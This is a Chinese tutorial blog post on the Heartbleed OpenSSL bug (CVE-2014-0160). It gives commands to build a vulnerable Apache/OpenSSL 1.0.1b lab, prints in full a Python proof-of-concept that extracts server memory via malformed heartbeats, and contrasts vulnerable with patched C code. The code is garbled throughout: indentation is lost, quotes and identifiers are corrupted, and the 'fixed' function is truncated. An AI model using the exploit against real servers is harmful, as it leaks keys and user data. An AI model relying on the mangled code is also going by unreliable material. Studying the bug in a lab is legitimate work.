心脏出血漏洞小学习

心脏出血漏洞小学习浅谈心脏出血漏洞心脏出血漏洞简述关于心脏出血漏洞环境的搭建漏洞poc原有漏洞展示修复后代码文章引用与特别鸣谢心脏出血漏洞简述引用百度百科的解释,心脏出血漏洞是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而…

大家好,又见面了,我是你们的朋友全栈君。

心脏出血漏洞简述

引用百度百科的解释,心脏出血漏洞是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多

关于心脏出血漏洞环境的搭建

首先说明节点,第一点推荐在虚拟机上运行,第二点是下载有漏洞的版本,我们这里选择openssl-0.1.b,虚拟机环境为ubuntu,下载哪个版本按照个人情况选择。
环境搭建步骤如下:
#安装相应基础程序
apt update -y
apt install -y wget gcc make

#安装apache并解压
mkdir /home/temp/apache -p
cd /home/temp/apache
wget http://archive.apache.org/dist/httpd/httpd-2.2.34.tar.gz
tar xzvf httpd-2.2.34.tar.gz

#安装对应的openssl版本
mkdir /home/temp/openssl -p
cd /home/temp/openssl
wget http://www.openssl.org/source/openssl-1.0.1b.tar.gz
tar xzvf openssl-1.0.1b.tar.gz

#删掉以前的openssl
apt remove -y openssl

#编译并安装
mkdir /usr/local/ssl -p
cd openssl-1.0.1b
./config –prefix=/usr/local/ssl shared -fPIC no-gost
rm -f /usr/bin/pod2man
make
make install

#移除旧链接并进行新链接
rm /usr/lib/x86_64-linux-gnu/libssl.so -f
rm /usr/lib/x86_64-linux-gnu/libcrypto.so -f
rm /lib/x86_64-linux-gnu/libssl.so -f
rm /lib/x86_64-linux-gnu/libcrypto.so -f
cp /usr/local/ssl/lib/libssl.so /lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libcrypto.so /lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libssl.so /usr/lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libcrypto.so /usr/lib/x86_64-linux-gnu/

#手动修改配置文件
mv /usr/bin/ssl /usr/bin/openssl.old
mv /usr/include/ssl /usr/include/openssl.old
ln -s /usr/local/ssl/bin/openssl /usr/bin/openssl
ln -s /usr/local/ssl/include/openssl /usr/include/openssl
ln -sf /usr/local/ssl/lib/libcrypto.so.1.0.0 /lib/libcrypto.so.6
echo “/usr/local/ssl/lib” >>/etc/ld.so.conf
ldconfig -v
#安装apache
mkdir /usr/local/httpd -p
mkdir /usr/local/apr -p
mkdir /usr/local/apr-util -p

cd /home/temp/apache/httpd-2.2.34/srclib/apr
./configure –prefix=/usr/local/apr
make
make install

cd /home/temp/apache/httpd-2.2.34/srclib/apr-util
./configure –prefix=/usr/local/apr-util/ –with-apr=/usr/local/apr
make
make install

cd /home/temp/apache/httpd-2.2.34
./configure –prefix=/usr/local/httpd –enable-so –enable-rewrite –enable-ssl –with-ssl=/usr/local/ssl –with-apr=/usr/local/apr –with-apr-util=/usr/local/apr-util
make
make install

安装完成后,vim /usr/local/httpd/conf/httpd.conf,修改配置文件,把其中的#include conf/extra/httpd-ssl.comf的”#”消掉
vim /usr/local/httpd/conf/extra/httpd-ssl.conf 确保端口是443端口
#生成秘钥和证书
openssl genrsa -out server.key 2048
openssl req -new -key server.key -out server.csr
openssl x509 -req -days 3650 -in server.csr -signkey server.key -out server.crt
#关掉防火墙
systemctl stop firewalld
#启动服务
cd /usr/local/httpd/bin
./apachectl start

漏洞poc

直接上代码

#!/usr/bin/python2
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage=’%prog server [options]’, description=‘Test for SSL heartbeat vulnerability (CVE-2014-0160)’)
options.add_option(’-p’, ‘–port’, type=‘int’, default=443, help=‘TCP port to test (default: 443)’)

def h2bin(x):
return x.replace(’ ‘, ‘’).replace(’\n’, ‘’).decode(‘hex’)

hello = h2bin(’’’
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
‘’’)

hb = h2bin(’’’
18 03 02 00 03
01 ff ff
‘’’)

def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ’ ‘.join(’%02X’ % ord© for c in lin)
pdat = ‘’.join((c if 32 <= ord© <= 126 else ‘.’ )for c in lin)
print ’ %04x: %-48s %s’ % (b, hxdat, pdat)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ‘’
remain = length
while remain > 0:
rtime = endtime – time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata

def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print ‘Unexpected EOF receiving record header – server closed connection’
return None, None, None
typ, ver, ln = struct.unpack(’>BHH’, hdr)
pay = recvall(s, ln, 10)
if pay is None:
print ‘Unexpected EOF receiving record payload – server closed connection’
return None, None, None
print ’ … received message: type = %d, ver = %04x, length = %d’ % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print ‘No heartbeat response received, server likely not vulnerable’
return False

    if typ == 24:
        print 'Received heartbeat response:'
        hexdump(pay)
        if len(pay) > 3:
            print 'WARNING: server returned more data than it should - server is vulnerable!'
        else:
            print 'Server processed malformed heartbeat, but did not return any extra data.'
        return True

    if typ == 21:
        print 'Received alert:'
        hexdump(pay)
        print 'Server returned error, likely not vulnerable'
        return False

def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
    typ, ver, pay = recvmsg(s)
    if typ == None:
        print 'Server closed connection without sending Server Hello.'
        return
    # Look for server hello done message.
    if typ == 22 and ord(pay[0]) == 0x0E:
        break

print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)

if name == ‘main’:
main()

原有漏洞展示

#ifndef OPENSSL_NO_HEARTBEATS
int
dtls1_process_heartbeat(SSL *s)
{

unsigned char *p = &s->s3->rrec.data[0], pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /
Use minimum padding */

/* Read type and payload length first */
hbtype = *p++;
/*宏n2s从指针p指向的数组中取出前两个字节,并把它们存入变量payload中——这实际上是心跳包载荷的长度域(length)。注意程序并没有检查这条SSLv3记录的实际长度。变量pl则指向由访问者提供的心跳包数据。*/
n2s(p, payload);
pl = p;

if (s->msg_callback)
	s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
		&s->s3->rrec.data[0], s->s3->rrec.length,
		s, s->msg_callback_arg);

/接下来,程序将分配一段由访问者指定大小的内存区域,这段内存区域最大为 (65535 + 1 + 2 + 16) 个字节。变量bp是用来访问这段内存区域的指针。/
if (hbtype == TLS1_HB_REQUEST)
{

unsigned char *buffer, *bp;
int r;

	/* Allocate memory for the response, size is 1 byte
	 * message type, plus 2 bytes payload length, plus
	 * payload, plus padding
	 */
	buffer = OPENSSL_malloc(1 + 2 + payload + padding);
	bp = buffer;

/宏s2n与宏n2s干的事情正好相反:s2n读入一个16 bit长的值,然后将它存成双字节值,所以s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload。然后程序从pl处开始复制payload个字节到新分配的bp数组中——pl指向了用户提供的心跳包数据。最后,程序将所有数据发回给用户。/
/* Enter response type, length and copy payload */
bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;
/
Random padding */
RAND_pseudo_bytes(bp, padding);
return 0;
}

修复后代码

#ifndef OPENSSL_NO_HEARTBEATS
int dtls1_process_heartbeat(SSL *s)
{

unsigned char *p = &s->s3->rrec.data[0], pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /
Use minimum padding */

if (s->msg_callback)
    s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
                    &s->s3->rrec.data[0], s->s3->rrec.length,
                    s, s->msg_callback_arg);

/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
    return 0;               /* silently discard */
if (s->s3->rrec.length > SSL3_RT_MAX_PLAIN_LENGTH)
    return 0;               /* silently discard per RFC 6520 sec. 4 */

hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
    return 0;               /* silently discard per RFC 6520 sec. 4 */
pl = p;
return 0;

}

文章引用与特别鸣谢

[1] https://blog.csdn.net/flurry_rain/article/details/82706375
[2] https://blog.huisa.win/2019/03/25/openssl-heartbleed/

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/160526.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • windows Netstat命令详解

    windows Netstat命令详解Netstat用于显示与IP、TCP、UDP和ICMP协议相关的统计数据,一般用于检验本机各端口的网络连接情况。如果你的计算机有时候接收到的数据报导致出错数据或故障,你不必感到奇怪,TCP/IP可以容许这些类型的错误,并能够自动重发数据报。但如果累计的出错情况数目占到所接收的IP数据报相当大的百分比,或者它的数目正迅速增加,那么你就应该使用…

  • 并发编程篇:java 高并发面试题

    并发编程篇:java 高并发面试题1、线程与进程进程是一个实体。每一个进程都有它自己的地址空间,一般情况下,包括文本区域(textregion)、数据区域(dataregion)和堆栈(stackregion)。文本区域存储处理器执行的代码;数据区域存储变量和进程执行期间使用的动态分配的内存;堆栈区域存储着活动过程调用的指令和本地变量。一个标准的线程由线程ID,当前指令指针(PC),寄存器集合和堆栈组成。另外,线程是…

  • FileReader 和FileInputStream的区别

    FileReader 和FileInputStream的区别java.lang.Object—-java.io.Reader—-java.io.InputStreamReader—-java.io.FileReaderjava.lang.Object—-java.io.InputStream—-java.io.FileInputStreamFileReader是读取字符流而FileInputStream读取的是字节流

  • 用计算机套路别人,套路计算器隐藏版[通俗易懂]

    用计算机套路别人,套路计算器隐藏版[通俗易懂]套路计算器隐藏版是款非常适合撩妹的神器,各种整蛊玩法,套路你的女朋友,操作简单,不需要root免费使用,轻松的哄女朋友开心。套路计算器隐藏版特色1.在这里都可以跟你的好友们设定任何的计算套路。2.在使用的时候看起来就跟普通的计算器应用差不多。3.他的套路秘诀就在输入计算结果之后,会显示提前设定的文字。4.各种的文章内容都可以设定到计算里面。套路计算器隐藏版怎么用进入的先设置好内容,进入后打开的都是…

  • 最短路径之Dijkstra(迪杰斯特拉)算法(无向图)

    最短路径之Dijkstra(迪杰斯特拉)算法(无向图)简介Dijkstra(迪杰斯特拉)算法是典型的单源最短路径算法,用于计算一个节点到其他所有节点的最短路径。主要特点是以起始点为中心向外层层扩展,直到扩展到终点为止。由for循环可知,其时间复杂度是O(n^2)。原理在已知图的邻接矩阵net.vexs[i][j](无向网,含权值的图)的条件下,通过遍历已知图的所有路径,用dis[i]数组来记录到i点…

  • 网站地图怎么做?dedecms网站地图制作方法听语音

    网站地图怎么做?dedecms网站地图制作方法听语音

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号